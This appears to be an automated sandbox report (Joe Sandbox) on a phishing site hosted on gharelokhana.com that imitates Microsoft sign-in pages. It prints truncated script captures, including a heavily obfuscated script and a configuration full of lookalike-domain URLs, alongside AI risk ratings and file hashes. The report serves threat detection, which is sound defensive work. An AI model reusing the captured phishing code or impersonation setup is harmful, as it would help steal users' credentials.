//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("
URL: https://7eb5b5ab-4ac65d39.gharelokhana.com/shared/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate Microsoft polyfill/loader script. It implements Promise functionality and contains standard module loading logic. The only minor risk factors are dynamic code loading capabilities and DOM manipulation, but these are within expected bounds for a loader script from a trusted source (Microsoft)." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.gharelokhana.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function n(n){for(var t,o,a=n[0],r=n[1],s=0,c=[];s<a.length;s++)o=a[s],Object.prototype.hasOwnProperty.call(i,o)&&i[o]&&c.push(i[o][0]),i[o]=0;for(t in r)Object.prototype.hasOwnProperty.call(r,t)&&(e[t]=r[t]);for(d&&d(n);c.length;)c.shift()()}var t,o={},i={2:0};function a(n){if(o[n])return o[n].exports;var t=o[n]={i:n,l:!1,exports:{}};return e[n].call(t.exports,t,t.exports,a),t.l=!0,t.exports}Function.prototype.bind\|\|(t=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var n=t.call(arguments,1),o=n.length,i=this,a=function(){},r=function(){return n.length=o,n.push.apply(n,arguments),i.apply(a.prototype.isPrototypeOf(this)?this:e,n)};return this.prototype&&(a.prototype=this.prototype),r.prototype=new a,r}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(n){var t=this,o=0,i=null,a=[];function r(){if(a.length>0){var e=a.slice();a=[],setTimeout((function(){for(var n=0,t=e.length;n<t;++n)e[n]()}),0)}}function s(e){0===o&&(i=e,o=1,r())}function c(e){0===o&&(i=e,o=2,r())}t.then=function(n,t){return new e((function(s,c){!function(n,t,s,c){a.push((function(){var a;try{a=1===o?"function"==typeof n?n(i):i:"function"==typeof t?t(i):i}catch(r){return void c(r)}a instanceof e?a.then(s,c):2===o&&"function"!=typeof t?c(a):s(a)})),0!==o&&r()}(n,t,s,c)}))},t["catch"]=function(e){return t.then(null,e)},function(){if("function"!=typeof n)throw new TypeError("Promise: argument is not a Function object");try{n(s,c)}catch(e){c(e)}}()}function n(e,n,t,o,i){return function(a){e[n]=o?a:i?{status:"fulfilled",value:a}:{status:"rejected",reason:a},t()}}function t(t,o){return t&&t.length?new e((function(i,a){for(var r=[],s=0,c=0,d=t.length;c<d;++c){var l=t[c];if(l instanceof e){s++;var p=function(){0==--s&&i(r)};o?l.then(n(r,c,p,o),a):l.then(n(r,c,p,o,!0),n(r,c,p,o,!1))}else r[c]=l}0===s&&setTimeout((function(){i(r)}),0)})):e.resolve([])}function o(e,n){return function(){e(n)}}e.all=function(e){return t(e,!0)},e.allSettled=function(e){return t(e,!1)},e.race=function(n){return new e((function(t,i){if(n&&n.length)for(var a=0,r=n.length;a<r;++a){var s=n[a];s instanceof e?s.then(t,i):setTimeout(o(t,s),0)}}))},e.reject=function(n){return new e((function(e,t){t(n)}))},e.resolve=function(n){return n instanceof e?n:n&&"function"==typeof n.then?new e((function(e,t){n.then(e,t)})):new e((function(e){e(n)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),a.e=function(e){var n=[],t=i[e];if(0!==t)if(t)n.push(t[2]);else{var o=new Promise((function(n,o){t=i[e]=[n,o]}));n.push(t[2]=o);var r=window.ServerData,s=r&&r.loader&&r.loader.cdnRoots\|\|[],c=r&&r.slMaxRetry?r.slMaxRetry:s.length-1,d=new Error;var l=functio
URL: https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is the beginning of the legitimate jQuery library (v3.5.1), a widely-used and trusted JavaScript framework. The code shown is the standard jQuery initialization and core functionality implementation. It contains no malicious patterns, uses standard module loading practices, and is from a trusted source (jquery.org)." }
/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "Multiple high-risk indicators present: 1) Suspicious domains using 'gharelokhana.com' instead of legitimate Microsoft domains 2) Attempt to mimic Microsoft login infrastructure 3) Multiple redirect URLs to potentially malicious domains 4) Appears to be a phishing attempt masquerading as Microsoft authentication error page" }
//<![CDATA[ $Config={"iErrorDesc":0,"iErrorTitle":0,"strMainMessage":"We received a bad request.","strAdditionalMessage":"","strServiceExceptionMessage":"AADSTS900561: The endpoint only accepts POST requests. Received a GET request.","strTraceId":"fba9e10f-17ad-41c9-a4a0-6c1fa05e1c00","iErrorCode":900561,"iHttpErrorCode":400,"iViewId":1,"urlCancel":"","strTimestamp":"2024-12-04T15:15:26Z","fShowIssuerHintErrorStrings":true,"urlLearnMoreRiskyApp":"https://83089807-4ac65d39.gharelokhana.com/fwlink/?linkid=2133457","iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/","urlDefaultFavicon":"https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlFooterTOU":"https://wwwms.gharelokhana.com/en-US/servicesagreement/","urlFooterPrivacy":"https://290f3d54-4ac65d39.gharelokhana.com/en-US/privacystatement","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://fdgfhvcfdgfhhjh.gharelokhana.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://98a2c988-4ac65d39.gharelokhana.com/{0}/winauth/sso?client-request-id=c11cfdea-9249-4b4b-a6cc-f56885e42ad8","iwaSsoProbeUrlFormat":"https://98a2c988-4ac65d39.gharelokhana.com/{0}/winauth/ssoprobe?client-request-id=c11cfdea-9249-4b4b-a6cc-f56885e42ad8","iwaIFrameUrlFormat":"https://98a2c988-4ac65d39.gharelokhana.com/{0}/winauth/iframe?client-request-id=c11cfdea-9249-4b4b-a6cc-f56885e42ad8\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://98a2c988-4ac65d39.gharelokhana.com/common/winauth/sso/edgeredirect?client-request-id=c11cfdea-9249-4b4b-a6cc-f56885e42ad8\u0026origin=login.microsoftonline.com\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"scid":1000,"hpgact":2000,"hpgid":1117,"pgid":"ConvergedError","apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFevl0u2DzByecDSBIohC5JKRxSpmcxciVaxfsO7sB82nPg6q8OVkRVji_9wN8qQgHw1D6P6NIUQzIs4HZak7eWRpiBmgBrlN99YY6DORKoV8Xc-T0YNuyEIxVdKhIqpFNWsVDbez7g79GbMq-BaiP0pPBuFWnw3KKDrZJw4yc24HLR2xFqM-Dt9WkOnnLwYcCk22udSiOycvRs9WIPeQi5vSAA","canary":"jemOsHoXPIcwHAlE0aImhRNEvjz9SwXvN2eMZP/gM14=5:1:CANARY:","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"c11cfdea-9249-4b4b-a6cc-f56885e42ad8","sessionId":"fba9e10f-17ad-41c9-a4a0-6c1fa05e1c00","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://fdgfhvcfdgfhhjh.gharelokhana.com/common/instrumentation/reportpageload","dssostatus":"https://fdgfhvcfdgfhhjh.gharelokhana.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This code shows multiple high-risk indicators: heavy obfuscation through encoded strings and numbers, use of complex array manipulations that could hide malicious intent, and potential dynamic code execution patterns. The code is intentionally made difficult to read and understand, which is a common characteristic of malicious scripts." }
(function(Y,E){var lT=a0Y5,l=Y();while(!![]){try{var C=parseInt(lT(0x1d3))/0x1+parseInt(lT(0x3ea))/0x2+parseInt(lT(0x32c))/0x3(parseInt(lT(0x3ec))/0x4)+-parseInt(lT(0x27c))/0x5+parseInt(lT(0x1d8))/0x6+-parseInt(lT(0x1e6))/0x7+parseInt(lT(0x3b3))/0x8(-parseInt(lT(0x32e))/0x9);if(C===E)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0Y4,0xa26f7),!(function(){var nw=a0Y5,Y0=(function(){var Ec=!![];return function(Ev,Es){var Ef=Ec?function(){var la=a0Y5;if(Es){var Ew=Es[la(0x347)](Ev,arguments);return Es=null,Ew;}}:function(){};return Ec=![],Ef;};}()),Y2=(function(){var Ec=!![];return function(Ev,Es){var Ef=Ec?function(){var lk=a0Y5;if(Es){var Ew=Es[lk(0x347)](Ev,arguments);return Es=null,Ew;}}:function(){};return Ec=![],Ef;};}());'use strict';var Y4={0x1fb8:function(Ec,Ev,Es){var lR=a0Y5;if(lR(0x3f6)===lR(0x338))return YQ[Yf]\|\|(Ev[YZ]=YT\|\|{});else{var Ef=Es(0x5cb),Ew=Es(0x2239),Eu=TypeError;Ec[lR(0x3b7)]=function(Eh){var lJ=lR;if(lJ(0x297)!==lJ(0x297)){var Ea=YP(0x4fe);Yv['exports']=YQ[lJ(0x2ac)]\|\|function(Ek){var lV=lJ;return lV(0x1be)===Ea(Ek);};}else{if(Ef(Eh))return Eh;throw new Eu(Ew(Eh)+'\x20is\x20not\x20a\x20function');}};}},0x946:function(Ec,Ev,Es){var Ef=Es(0x3af),Ew=Es(0x2239),Eu=TypeError;Ec['exports']=function(EL){var lN=a0Y5;if(Ef(EL))return EL;throw new Eu(Ew(EL)+lN(0x276));};},0xf0c:function(Ec,Ev,Es){var lp=a0Y5,Ef=Es(0x2df),Ew=String,Eu=TypeError;Ec[lp(0x3b7)]=function(EL){if(Ef(EL))return EL;throw new Eu('Can\x27t\x20set\x20'+Ew(EL)+'\x20as\x20a\x20prototype');};},0x1bb7:function(Ec,Ev,Es){var lM=a0Y5,Ef=Es(0x1),Ew=Es(0x14aa),Eu=Es(0x16cb)['f'],EL=Ef('unscopables'),Eh=Array[lM(0x295)];void 0x0===Eh[EL]&&Eu(Eh,EL,{'configurable':!0x0,'value':Ew(null)}),Ec[lM(0x3b7)]=function(ET){var lb=lM;if(lb(0x21d)==='MVued')Eh[EL][ET]=!0x0;else return YP(this)&&Yv(this)[lb(0x3cb)]\|\|YQ(this);};},0x1143:function(Ec,Ev,Es){var lO=a0Y5,Ef=Es(0x2391)[lO(0x3e3)];Ec[lO(0x3b7)]=function(Ew,Eu,EL){var lx=lO;return Eu+(EL?Ef(Ew,Eu)[lx(0x30b)]:0x1);};},0x1785:function(Ec,Ev,Es){var C0=a0Y5,Ef=Es(0x12cf),Ew=TypeError;Ec[C0(0x3b7)]=function(Eu,EL){var C1=C0;if(Ef(EL,Eu))return Eu;throw new Ew(C1(0x379));};},0x8f5:function(Ec,Ev,Es){var C2=a0Y5,Ef=Es(0x6a8),Ew=String,Eu=TypeError;Ec[C2(0x3b7)]=function(EL){var C3=C2;if(C3(0x2c9)==='tquhX'){if(Ef(EL))return EL;throw new Eu(Ew(EL)+C3(0x213));}else{try{YH=YF(Ef[C3(0x30d)]);}catch(ET){Yh(Es,C3(0x382),ET);}if('object'==typeof YS&&Ya&&Ye(Eu,Ys))return YW;}};},0x19fb:function(Ec,Ev,Es){var Ef=Es(0x15df),Ew=Es(0xd40),Eu=Es(0x1b30),EL=function(Eh){return function(ET,Ea,Ek){var ER=Ef(ET),EJ=Eu(ER);if(0x0===EJ)return!Eh&&-0x1;var EV,EN=Ew(Ek,EJ);if(Eh&&Ea!=Ea){for(;EJ>EN;)if((EV=ER[EN++])!=EV)return!0x0;}else{for(;EJ>EN;EN++)if((Eh\|\|EN in ER)&&ER[EN]===Ea)return Eh\|\|EN\|\|0x0;}return!Eh&&-0x1;};};Ec['exports']={'includes':EL(!0x0),'indexOf':EL(!0x1)};},0xb33:function(Ec,Ev,Es){var C4=a0Y5,Ef=Es(0xb62),Ew=Es(0x129a),Eu=Es(0x849),EL=Es(0x92b),Eh=Es(0x1b30),ET=Es(0x11c7),Ea=Ew([]['push']),Ek=function(ER){var EJ=0x1===ER,EV=0x2===ER,EN=0x3===ER,Ep=0x4===ER,EM=0x6===ER,Eb=0x7===ER,EO=0x5===ER\|\|EM;return function(Ex,l0,l1,l2){for(var l3,l4,l5=EL(Ex),l6=Eu(l5),l7=Eh(l6),l8=Ef(l0,l1),l9=0x0,lY=l2\|\|ET,lE=EJ?lY(Ex,l7):EV\|\|Eb?lY(Ex,0x0):void 0x0;l7>l9;l9++)if((EO\|\|l9 in l6)&&(l4=l8(l3=l6[l9],l9,l5),ER)){if(EJ)lE[l9]=l4;else{if(l4)switch(ER){case 0x3:return!0x0;case 0x5:return l3;case 0x6:return l9;case 0x2:Ea(lE,l3);}else switch(ER){case 0x4:return!0x1;case 0x7:Ea(lE,l3);}}}return EM?-0x1:EN\|\|Ep?Ep:lE;};};Ec[C4(0x3b7)]={'forEach':Ek(0x0),'map':Ek(0x1),'filter':Ek(0x2),'some':Ek(0x3),'every':Ek(0x4),'find':Ek(0x5),'findIndex':Ek(0x6),'filterReject':Ek(0x7)};},0x6a2:function(Ec,Ev,Es){var C5=a0Y5,Ef=Es(0x129a);Ec[C5(0x3b7)]=Ef([][C5(0x3a3)]);},0x824:function(Ec,Ev,Es){var C6=a0Y5,Ef=Es(0x1332),Ew=Es(0x3af),Eu=Es(0x6a8),EL=Es(0x1)('species'),Eh=Array;Ec[C6(0x3b7)]=function(ET){var C7=C6,Ea;return Ef(ET)&&(Ea=ET[C7(0x352)],(Ew(Ea)&&(Ea===Eh\|\|Ef(Ea[C7(0x295)]))\|\|Eu(Ea)&&null===(Ea=Ea[EL]))&
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "Script attempts to modify top-level location with URL manipulation and contains iframe redirection logic. While it includes defensive programming (try-catch), the URL manipulation and frame-busting behavior could be used maliciously. However, it appears to be legitimate iframe management code with session tracking." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(true){s&&s.body&&(s.body.style.display="block")}else if(false){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "If you contact your administrator, send this info to them.", "prominent_button_name": "Copy info to clipboard", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "The endpoint only accepts POST requests. Received a GET request.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "brands": [ "Apple" ] }
	{ "brands": [ "Apple" ] }
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sorry, but we're having trouble signing you in.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sorry, but we're having trouble signing you in.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The provided URL 'fdgfhvcfdgfhhjh.gharelokhana.com' does not match the legitimate domain for Microsoft.", "The URL contains a random string 'fdgfhvcfdgfhhjh' and a domain 'gharelokhana.com' which is not associated with Microsoft.", "The presence of a random string and an unrelated domain is a common tactic in phishing attempts." ], "riskscore": 9} Google indexed: False
URL: fdgfhvcfdgfhhjh.gharelokhana.com Brands: Microsoft Input Fields: unknown

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 31504
Category:	dropped
Size (bytes):	10932
Entropy (8bit):	7.980153556375268
Encrypted:	false
SSDEEP:	192:bYLmT2S6qMKULyA5z3v4Azpkjx3j9/Q42FuLgaFLaQWogyDWotEy:0LYi1TLvjzpkjD/7UuLhFLaQBgQWoz
MD5:	9F5A1C0F3ACB16CC82675415CAB9F1BA
SHA1:	4A46C3EB006351E3166DFBA1416ED589C718D734
SHA-256:	AD167B0E1BAD0DF68FD20F03F42EEBFD12968A97E3AC4882672EF7F82EC9E643
SHA-512:	DC25DC16A46E58352C1749EDE5C640261F676D025CB0B06842E9F6C7DFD05C4204F91CC0C5C39581EFA4C021E24A677837F5F0390B8124F483CE5BA350DD9D65
Malicious:	false
Reputation:	low
